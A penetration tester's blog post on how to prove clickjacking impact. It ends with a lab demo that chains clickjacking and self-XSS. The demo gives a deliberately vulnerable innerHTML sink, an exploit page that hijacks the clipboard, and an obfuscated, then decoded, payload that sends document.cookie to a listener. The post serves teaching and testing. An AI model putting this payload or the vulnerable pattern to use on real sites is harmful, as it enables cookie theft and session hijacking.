ClickJacking is a common flaw in most web applications which allows an attacker to execute actions within the session of their victim. The topic has been very well covered by OWASP at references [1] and [2] at the end of this article.

It is often misunderstood. The following points need to be kept in mind:

• The user must be authenticated to the TARGET application or it must have some sensitive functionality in there worthy of attack.
• It must be possible for the TARGET application to be loaded within an html “iframe” tag on another site.
• The attacker must create an EXPLOIT web page and deliver it to the victim (using Phishing etc).
• While the victim interacts with content at the EXPLOIT site, their interactions are being redirected to the TARGET application.

The key part is that the EXPLOIT site will present the victim with some content which will encourage them to interact with it. The iframe containing the TARGET site will be hidden in some fashion so that the victim is clueless that they are being exploited.

Additionally, you need to know that this is a “blind” attack by default. By this I mean that you will not have read access to the HTML within the TARGET page (unless that site has some form of self Cross-Site Scripting (XSS) — which is fun, so I will show later).

Think of this as Cross Site Request Forgery (CSRF) [3]. If you find something that can be executed on the target site, which is advantageous to an attacker, but it already has CSRF defences in place? This is the situation where ClickJacking can be your friend.

This post is not about how to actually exploit ClickJacking. It is about how to prove a site has a vulnerability while conducting a penetration test, or for developers to understand the same.

Questions you have to answer

To prove that a site would have an impact from ClickJacking, you need to answer these questions:

1. Can the site be loaded within an iframe?
2. Does the target site have something which is actually exploitable using ClickJacking techniques?

The first question is easily answered. Create an HTML file which includes the URL for the sensitive functionality within an iframe tag. The following would do that job:

<iframe src="http://target/function">/iframe>

Change the “src” to point to your juicy function (such as “change email address” or whatever). Save that into a “.html” file locally. Authenticate to the application in one tab of your browser and then open that local file.

If the site loads within the iframe then there are likely no defences in place.

The second question is the one that most people I have taught seem to struggle with. They get excited about seeing the target load in the iframe and rush off to report it!

Hold your horses folks. If there is nothing which would be of value to an attacker to exploit, then it would be a much lower risk. You want to review the website and look for things like:

• Self-XSS (which is demoed later as a treat to you all).
• Change Password form without current password required.
• Change associated email address without current password required.
• Like or upvote something by way of a click which could improve an attacker’s rating.

The list could be much much longer. Find something that has a security impact and only requires a couple of clicks, or some content controllable by the attacker to be pasted to execute.

If you don’t find functionality like that, then your customer needs to be told they should turn on ClickJacking defences as a matter of best practices. If you do find something then the impact needs to be set dependent on the risks of an attacker doing that to a victim.

That is my point made. The next bit is just for giggles.

Example: Chaining ClickJacking with Self-XSS

Tonight I found “XSSJacking” by dxa4481 on GitHub (see reference [4]). This pretty much did what I came here to show. So I started with that, and then modified it.

You can use ClickJacking to deliver XSS payloads into the session of a victim. This is useful when the way to exploit the XSS would be to literally type the exploit into a text field for example. Until ClickJacking these were basically considered unexploitable. Welcome to the party self-XSS!

I cloned XSSJacking using:

git clone https://github.com/dxa4481/XSSJacking.git

This is pretty simple and has the following files:

1. index.html – this is the TARGET site.
2. main.js – contains JavaScript used by index.html (TARGET) to trigger the self-xss.
3. index2.html – this is the EXPLOIT site.

I wanted to modify these to create an example where I was able to hijack a cookie from TARGET site.

The following is the content of “index.html”:

<html>
    <head>
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
        <script src="main.js"></script>

	<!-- Added by cornerpirate to create a cookie -->
	<script>
	document.cookie="secret="+new Date().getTime();
	</script>

    </head>
    <body ng-app="xssApp" ng-controller="mainController">
<h1></h1>
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">
        </textarea>

	<!-- Added by cornerpirate to create a div with id "exploitMe" in the page -->
<div id="exploitMe"></div>
</body>
</html>

To this I added a “div” tag with an id for easy accessing via JavaScript. The following is the content of “main.js”:

var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
    $scope.checkForAlert = function(text){
	// Modified by cornerpirate to dangerously put
	// any text into the "innerHTML" of the "exploitMe" div.
	document.getElementById("exploitMe").innerHTML=text;
    }
}]);

I removed the safety from the original demo (because ‘you only live once’). Notice that I use the “innerHTML” of the div to set the “text” which was passed by angular. The following is the content of “index2.html”:

<html>
<head>
</head>
<body>
Enter your email below to register:
</br>
<textarea autofocus style="width:220px; height:35px;"></textarea>
</br>
Repeat your email:
</br>
<iframe style="width:230px; height:50px;" frameBorder="0" src="http://192.168.242.128:8080/index.html"></iframe>
</br>
<input type="submit"></input>
<script>
document.addEventListener('copy', function(e){
console.log(e);
e.clipboardData.setData('text/plain', '\x3Cimg\x20src\x3D\x22x\x22\x20onerror\x3D\x22new\x20Image\x28\x29.src\x3D\x27http\x3A\x2f\x2flocalhost\x2fcookie\x3F\x27\x2bdocument.cookie\x22\x3E');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
});
</script>
</body>
</html>

I modified the URL used by the iframe. This means that the TARGET site is running on TCP port 8080 of my Kali VM.

I also modified the payload which is pasted. That is hard to read so I have decoded it as below:

<img src="x" onerror="new Image().src='http://localhost/cookie?'+document.cookie">

This will simply run a script which will send back a cookie to a listener on localhost. To recap we have this situation:

1. TARGET site running on TCP port 8080 of kali.
2. EXPLOIT site running on TCP port 80 of kali
3. ATTACKER is listening on localhost (yea this should be another server but different origin anyway for the PoC).

By separating the ports they are different origins meaning that ClickJacking will actually get us something.

The following video shows you this all being pulled together:

On the right are two python listeners which host the TARGET and EXPLOIT sites.

On the left is a web browser and ncat listener on localhost.

The steps in the video are:

1. I refresh the users page on the TARGET site.
2. I show that there is a cookie set on the TARGET site.
3. I then  goto the EXPLOIT site and copy the text in the email field. Doing this actually places the XSS payload into the copy/paste buffer.
4. When I paste into the “repeat your email” it is actually inside the iframe which contains the TARGET site.
5. The self-XSS executes and you can see the secret cookie value was sent back to the attacker.

To recap: the first half is about what you must do to professionally be able to find ClickJacking. The second gives you an example of what an attack might look like. In the day job of a pentester it is unlikely that you will ever exploit ClickJacking. But for your knowledge of the subject it is best that you play with it.

One day a customer is going to ask and you should have a great answer for them.

References

[1] https://www.owasp.org/index.php/Clickjacking

[2] https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

[3] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

[4] https://github.com/dxa4481/XSSJacking